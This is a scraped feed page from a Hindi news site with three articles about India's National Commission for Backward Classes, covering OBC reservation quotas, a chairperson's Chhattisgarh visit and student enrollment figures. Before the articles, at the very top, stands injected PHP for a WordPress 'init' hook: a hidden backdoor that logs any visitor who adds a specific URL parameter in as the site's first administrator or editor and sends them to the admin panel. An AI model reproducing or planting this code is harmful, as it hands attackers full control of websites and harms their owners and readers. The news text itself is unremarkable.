// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); NCBC – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 07 Jun 2026 07:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 राष्ट्रीय OBC आयोग की अध्यक्ष छत्तीसगढ़ पहुंचीं, CM साय और राज्यपाल से करेंगी अहम मुलाकात https://pratyushaashakinayikiran.com/?p=225392 Sun, 07 Jun 2026 07:45:00 +0000 https://pratyushaashakinayikiran.com/?p=225392 रायपुर.

राष्ट्रीय पिछड़ा वर्ग (OBC) आयोग की नवनियुक्त अध्यक्ष साध्वी निरंजन ज्योति आज अपने पहले छत्तीसगढ़ दौरे पर राजधानी रायपुर पहुंचीं। पदभार ग्रहण करने के बाद प्रदेश के इस पहले आधिकारिक दौरे के मुख्य उद्देश्यों को बताया।

साध्वी निरंजन ज्योति ने बताया कि वे छत्तीसगढ़ में आयोजित मछुआरा समाज के एक विशेष कार्यक्रम में शामिल होने के लिए यहां आई हैं। इसके साथ ही वे प्रदेश में अन्य पिछड़ा वर्ग के अधिकारों, उनकी स्थिति और उनके हक को लेकर प्रशासनिक अधिकारियों के साथ समीक्षा बैठक भी करेंगी।

OBC आरक्षण को लेकर कही बड़ी बात
छत्तीसगढ़ में वर्तमान में लागू 14% और तत्कालीन कांग्रेस सरकार द्वारा पारित किए गए 27% आरक्षण विधेयक के सवाल पर राष्ट्रीय अध्यक्ष ने कहा कि मुख्यमंत्री विष्णुदेव साय और राज्यपाल के साथ मेरी उच्च स्तरीय बैठक होनी है, जिसमें प्रदेश की विभिन्न समस्याओं और ओबीसी समाज के मुद्दों पर विस्तार से चर्चा की जाएगी। यदि राज्य सरकार इस संबंध में आयोग से कोई सिफारिश करती है, तो आयोग के माध्यम से भारत सरकार को उचित सिफारिश और प्रस्ताव भेजा जाएगा।

]]> NCBC: एससी छात्रों के आंकड़ों में आठ साल में 44% वृद्धि, अल्पसंख्यक छात्राओं की संख्या बढ़कर 15.2 लाख https://pratyushaashakinayikiran.com/?p=32290 Sun, 19 May 2024 19:45:00 +0000 https://pratyushaashakinayikiran.com/?p=32290 नई दिल्ली.

राष्ट्रीय पिछड़ा वर्ग आयोग (एनसीबीसी) ने बताया कि अनुसूचित जाति (एससी) श्रेणी के तहत छात्रों के नामांकन में 44 प्रतिशत की वृद्धि हुई है। यह 2014-15 में 46.1 लाख से बढ़कर 2021-22 में 66.2 लाख हो गई। अल्पसंख्यक छात्राओं के नामांकन में भी वृद्धि हुई। एनसीबीसी के रिकॉर्ड अनुसार, 2014-15 में अल्पसंख्यक छात्राओं की संख्या 10.7 लाख से बढ़कर 2021-22 में 15.2 लाख हो गई।

जारी बयान में एनसीबीसी के अध्यक्ष हंसराज गंगाराम अहीर ने पिछड़े वर्गों के संवैधानिक अधिकारों की रक्षा करने और वर्तमान के प्रयासों और उपलब्धियों पर प्रकाश डाला। अल्पसंख्यक महिला छात्रों के अलावा एससी छात्रों के नामांकन में 44 फीसदी की बढ़ोतरी हुई। यह 2014-15 के 46.07 लाख से बढ़कर 2021-22 में 66.23 लाख हो गई। इसमें एससी छात्राओं के नामांकन में 51 फीसदी बढ़ोतरी देखने को मिली। एसटी छात्रों के नामांकन में 65.2 फीसदी की बढ़ोतरी हुई, जो 2014-15 में 16.41 लाख से बढ़कर 2021-22 में 27.1 लाख हो गई। इसमें एसटी छात्राओं की संख्या में 80 फीसदी की वृद्धि हुई है। शैक्षणिक वर्ष 2020-21 के दौरान केंद्रीय विद्यालयों में ओबीसी छात्रों के लिए 27 प्रतिशत आरक्षण लागू किया गया, जिसके परिणामस्वरूप 34,133 ओबीसी बच्चों ने एडमिशन लिया। इसी अवधि में नवोदय विद्यालयों में भी 27 प्रतिशत आरक्षण लागू किया गया, जिससे 19,710 ओबीसी छात्रों को एडमिशन की सुविधा मिली। 2021-22 में सैनिक स्कूल में 27 प्रतिशत आरक्षण के कारण 1,026 ओबीसी बच्चों को एडमिशन की सुविधा प्राप्त हुई।

]]> एनसीबीसी ने पश्चिम बंगाल और पंजाब में ओबीसी के लिए आरक्षण कोटा बढ़ाने की सिफारिश की https://pratyushaashakinayikiran.com/?p=31448 Fri, 17 May 2024 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=31448 नई दिल्ली
 राष्ट्रीय पिछड़ा वर्ग आयोग (एनसीबीसी) ने पंजाब और पश्चिम बंगाल में अन्य पिछड़ा वर्ग (ओबीसी) के लिए रोजगार में आरक्षण कोटा बढ़ाने की सिफारिश की है।

एक परामर्श के अनुसार, आयोग का यह फैसला मौजूदा आरक्षण नीतियों, मौखिक बयानों और दस्तावेजी साक्ष्यों की समीक्षा करने के बाद आया है, जिसका उद्देश्य इंदिरा साहनी मामले में उच्चतम न्यायालय द्वारा दिए गए निर्देशों का पालन करना है।

वर्तमान समय में पंजाब में रोजगार के क्षेत्र में कुल 37 प्रतिशत आरक्षण दिया गया है, जिसमें 25 प्रतिशत अनुसूचित जाति को और 12 प्रतिशत आरक्षण अन्य पिछड़ा वर्ग (ओबीसी) के लोगों को दिया गया है।

एनसीबीसी ने रोजगार में ओबीसी के लिए 13 प्रतिशत अतिरिक्त आरक्षण बढ़ाने की सिफारिश की है, जिससे इस वर्ग के लिए कुल आरक्षण 25 प्रतिशत हो जाएगा।

यदि ओबीसी वर्ग को रोजगार में 13 प्रतिशत और आरक्षण मिल जाता है तो यह उच्चतम न्यायालय के उस आदेश का पालन होगा जिसमें उन्होंने सामाजिक और शैक्षणिक रूप से पिछड़े वर्गों के लिए 50 प्रतिशत तक आरक्षण की सीमा तय की है।

पंजाब सरकार के अतिरिक्त मुख्य सचिव डी के तिवारी 22 फरवरी को एनसीबीसी में उपस्थित हुए थे और उन्होंने आयोग की सिफारिशों को लागू करने के लिए राज्य की प्रतिबद्धता जताई थी।

पश्चिम बंगाल में ओबीसी वर्ग में 35 नई जातियाँ/समुदाय शामिल हैं।

राज्य की ओबीसी सूची में अभी तक 143 जातियां हैं, जिनमें से 83 जातियां मुस्लिम समुदाय से हैं।

पश्चिम बंगाल के नियंत्रण में सरकार द्वारा संचालित या सहायता प्राप्त प्रतिष्ठानों में सेवाओं और पदों के संबंध में अनुसूचित जाति, अनुसूचित जनजाति और अन्य पिछड़ा वर्ग के लिए आरक्षण कोटा क्रमशः 22 प्रतिशत, छह प्रतिशत और 17 प्रतिशत है।

एनसीबीसी ने बताया कि पश्चिम बंगाल को एक अधिसूचना जारी कर राज्य सरकार के अधीन सेवाओं और पदों के संबंध में अन्य पिछड़ा वर्ग को 17 प्रतिशत आरक्षण सुनिश्चित किया गया है।

एनसीबीसी का कहना है कि राज्य सरकार के अधीन ओबीसी के लिए रोजगार में शेष पांच प्रतिशत आरक्षण, उच्चतम न्यायालय के आदेश के अनुपालन में 50 फीसदी के दायरे में बढ़ाया जा सकता है।

 

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